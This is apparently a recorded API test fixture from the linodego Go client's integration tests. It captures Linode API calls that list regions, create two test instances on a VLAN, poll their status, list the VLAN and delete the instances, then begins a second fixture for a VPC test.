"maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 34}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:27:33 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-ins-test-list-0","root_pass":"lO21L5-u2H`i)''*2~$-AXyC!q89)^EN\u003em;ey~6vy\u003eIt9TiRs-5eG460In5R3qD4Y","image":"linode/debian9","interfaces":[{"ipam_address":"10.0.0.1/24","label":"go-vlan-test-list","purpose":"vlan"}],"firewall_id":693021,"booted":true}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 61875475, "label": "go-ins-test-list-0", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["139.144.1.65"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "0be889ff8efab8e9f1cbbb28b1799aa440e95149", "has_user_data": false, "placement_group": null, "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "803" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:27:34 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-ins-test-list-1","root_pass":"RT.M80/4r8=599k5q00IA\\j9''Vp[OqV5U};9NvhKbn=F+i7\u0026.ljr@|LuV0X,rF{8","image":"linode/debian9","interfaces":[{"ipam_address":"10.0.0.1/24","label":"go-vlan-test-list","purpose":"vlan"}],"firewall_id":693021,"booted":true}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 61875477, "label": "go-ins-test-list-1", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["139.144.1.131"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "8aca7a754c37f5b4e94afd4a43d57ad2c7090730", "has_user_data": false, "placement_group": null, "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "804" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:27:35 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61875475 method: GET response: body: '{"id": 61875475, "label": "go-ins-test-list-0", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["139.144.1.65"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": "Scheduling", "window": "Scheduling"}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "0be889ff8efab8e9f1cbbb28b1799aa440e95149", "has_user_data": false, "placement_group": null, "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "819" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:27:50 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61875475 method: GET response: body: '{"id": 61875475, "label": "go-ins-test-list-0", "group": "", "status": "booting", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["139.144.1.65"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": "Scheduling", "window": "Scheduling"}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "0be889ff8efab8e9f1cbbb28b1799aa440e95149", "has_user_data": false, "placement_group": null, "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "814" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:28:05 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61875475 method: GET response: body: '{"id": 61875475, "label": "go-ins-test-list-0", "group": "", "status": "running", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["139.144.1.65"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": "Scheduling", "window": "Scheduling"}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "0be889ff8efab8e9f1cbbb28b1799aa440e95149", "has_user_data": false, "placement_group": null, "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "814" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:28:20 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61875477 method: GET response: body: '{"id": 61875477, "label": "go-ins-test-list-1", "group": "", "status": "running", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["139.144.1.131"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": "Scheduling", "window": "Scheduling"}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "8aca7a754c37f5b4e94afd4a43d57ad2c7090730", "has_user_data": false, "placement_group": null, "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "815" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:28:35 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"label": "go-vlan-test-list"}' url: https://api.linode.com/v4beta/networking/vlans?page=1 method: GET response: body: '{"data": [{"region": "ap-west", "label": "go-vlan-test-list", "linodes": [61875475, 61875477], "created": "2018-01-02T03:04:05"}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "167" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:28:35 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61875477 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:28:35 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61875475 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:28:36 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestVPC_CreateGet.yaml000066400000000000000000000633621474652371000306750ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": 